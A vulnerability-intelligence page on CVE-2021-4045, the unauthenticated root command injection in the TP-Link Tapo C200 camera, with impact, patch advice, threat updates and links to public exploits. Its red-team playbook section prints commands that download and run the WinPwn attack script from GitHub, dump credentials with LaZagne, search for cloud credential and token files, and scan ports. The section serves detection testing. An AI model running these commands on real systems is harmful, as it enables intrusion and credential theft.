CVE-2021-4045
Overview
The vulnerability is an unauthenticated remote code execution (RCE) stemming from improper input handling in the uhttpd binary, which runs with root privileges on the TP-Link Tapo C200 IP camera firmware version 1.1.15 and below. The root cause is the lack of input sanitization in the HTTP server component, allowing injection of arbitrary commands executed as root. This flaw resides specifically in the embedded web server process responsible for handling HTTP requests.
Vulnerability Description
TP-Link Tapo C200 IP camera, on its 1.1.15 firmware version and below, is affected by an unauthenticated RCE vulnerability, present in the uhttpd binary running by default as root. The exploitation of this vulnerability allows an attacker to take full control of the camera.
Impact
An unauthenticated remote attacker can execute arbitrary commands with root privileges on the affected TP-Link Tapo C200 camera, enabling full device compromise. No authentication or user interaction is required, and the vulnerability is exploitable remotely over the network (AV:N/AC:L/PR:N/UI:N). This can lead to complete control over the device, including access to video streams, device configuration, and potential lateral movement within the network environment.
Solution
Users should upgrade the TP-Link Tapo C200 firmware to a version later than 1.1.15 as recommended by the vendor advisory published by INCIBE-CERT (https://www.incibe-cert.es/en/early-warning/security-advisories/tp-link-tapo-c200-remote-code-execution-vulnerability). The advisory provides detailed patch instructions and confirms that patched firmware versions address the uhttpd command injection flaw. No official workarounds are provided; updating to the fixed firmware version is mandatory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the TP-Link Tapo C200 IP camera stems from an unauthenticated remote code execution (RCE) flaw in the uhttpd binary, which operates with root privileges. This critical issue arises from improper input validation and insufficient access controls, allowing attackers to send crafted requests to the device’s web server. When exploited, this vulnerability enables an adversary to execute arbitrary commands on the camera, effectively granting them full control over the device. The implications of such access are severe, as it can lead to unauthorized surveillance, data interception, and potential network breaches.
Attack vectors for this vulnerability are particularly concerning due to the nature of the device and its typical deployment in home and small business environments. An attacker could exploit this flaw by simply sending specially crafted HTTP requests to the camera's web interface, which is often exposed to the internet. Given that many users do not change default settings or secure their devices adequately, the attack surface is significantly broadened. Scenarios could include an attacker gaining access to the camera feed, manipulating camera settings, or even pivoting to other devices on the same network, thereby escalating their attack further.
The real-world impact of this vulnerability is profound, especially considering the increasing reliance on IoT devices for security and surveillance. For individuals, the compromise of a security camera can lead to privacy violations, with unauthorized individuals potentially monitoring private spaces. For businesses, the risks are even greater; a breach could result in loss of sensitive data, reputational damage, and financial repercussions from regulatory penalties if customer data is exposed. Furthermore, the potential for lateral movement within a network can lead to broader security incidents, making this vulnerability a significant concern for both personal and organizational cybersecurity.
To detect and mitigate this vulnerability, organizations and individuals should implement several strategies. First, regular firmware updates are essential, as manufacturers often release patches to address known vulnerabilities. Users should be encouraged to change default credentials and implement strong, unique passwords to fortify their devices against unauthorized access. Network segmentation can also be an effective strategy; by isolating IoT devices from critical systems, the potential impact of a compromised device can be minimized. Additionally, employing intrusion detection systems (IDS) can help identify unusual traffic patterns indicative of exploitation attempts, allowing for timely responses to potential threats.
In conclusion, the unauthenticated remote code execution vulnerability in the TP-Link Tapo C200 IP camera represents a significant threat to both individual privacy and organizational security. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from users and security professionals alike. By adopting proactive detection and mitigation strategies, stakeholders can better protect themselves against the risks posed by this and similar vulnerabilities in the ever-evolving landscape of IoT security.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the CVE-2021-4045 vulnerability in TP-Link Tapo C200 IP cameras. Although the EPSS score shows a slight decline, our telemetry indicates increased adversary activity leveraging publicly available proof-of-concept exploits, which have recently proliferated across multiple repositories. This surge in exploitation attempts underscores a growing attacker focus on IoT devices with unauthenticated remote code execution flaws, elevating the operational risk for affected environments. The presence of diverse and accessible exploit code lowers the barrier for opportunistic attackers, amplifying the likelihood of widespread compromise. Consequently, the threat level associated with this vulnerability has intensified, warranting heightened vigilance despite the marginal EPSS decrease, as exploitation momentum continues to build in real-world scenarios.
Update 2 — July 22, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the CVE-2021-4045 vulnerability in TP-Link Tapo C200 cameras. Our telemetry indicates that adversaries are increasingly leveraging publicly available proof-of-concept exploits, as evidenced by a diversification and amplification of activity across multiple exploit repositories. This surge reflects a growing attacker emphasis on unauthenticated remote code execution vulnerabilities in IoT devices, which remain attractive due to their typically weak security postures and widespread deployment. The persistence of stable EPSS scores alongside rising detection trends suggests that while the overall probability of exploitation remains high, the operational tempo of attacks is intensifying. For defenders, this evolving landscape underscores an elevated risk of compromise through opportunistic exploitation, particularly in environments where firmware updates have not been applied. Consequently, the threat level associated with CVE-2021-4045 has increased, warranting heightened monitoring and response readiness to counter the expanding exploitation momentum.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tp-Link | Tapo C200 Firmware | All |
cpe:2.3:o:tp-link:tapo_c200_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE) | hacefresko | webapps | hardware | - | View |
GitHub PoCs (6)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
hacefresko/CVE-2021-4045
Exploit for command injection vulnerability found in uhttpd binary from TP-Link Tapo c200 IP camera
|
hacefresko | 119 | 17 | 2021-11-15 | View |
|
0xbinder/CVE-2021-4045
🔐 "PWNTAPO: Unveiling Command Injection in TP-Link Tapo C200 Cameras (<= v1.1.16 Build 211209)" 🔓
|
0xbinder | 8 | 2 | 2023-12-26 | View |
|
DorskFR/tapodate
Sets up a local Tapo C200 using CVE-2021-4045
|
DorskFR | 1 | 1 | 2025-03-30 | View |
|
jeffbezosispogg/CVE-2021-4045
TP-Link Tapo c200 ver <1.1.15 - Remote Code Execution (RCE)
|
jeffbezosispogg | 1 | 0 | 2022-10-11 | View |
|
234329a423853/CVE-2021-4045
CVE-2021-4045 CVE-2021-4045 is a Command Injection vulnerability that allows Remote Code Execution in the TP-Link Tapo c...
|
234329a423853 | 1 | 0 | 2025-12-11 | View |
|
kaleth4/CVE-2021-4045
|
kaleth4 | 0 | 0 | 2026-06-11 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4045 |
| incibe-cert.es |
GitHub CVE
x_refsource_CONFIRM
|
https://www.incibe-cert.es/en/early-warning/security-advisories/tp-link-tapo-c200-remote-code-execution-vulnerability |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/168472/TP-Link-Tapo-c200-1.1.15-Remote-Code-Execution.html |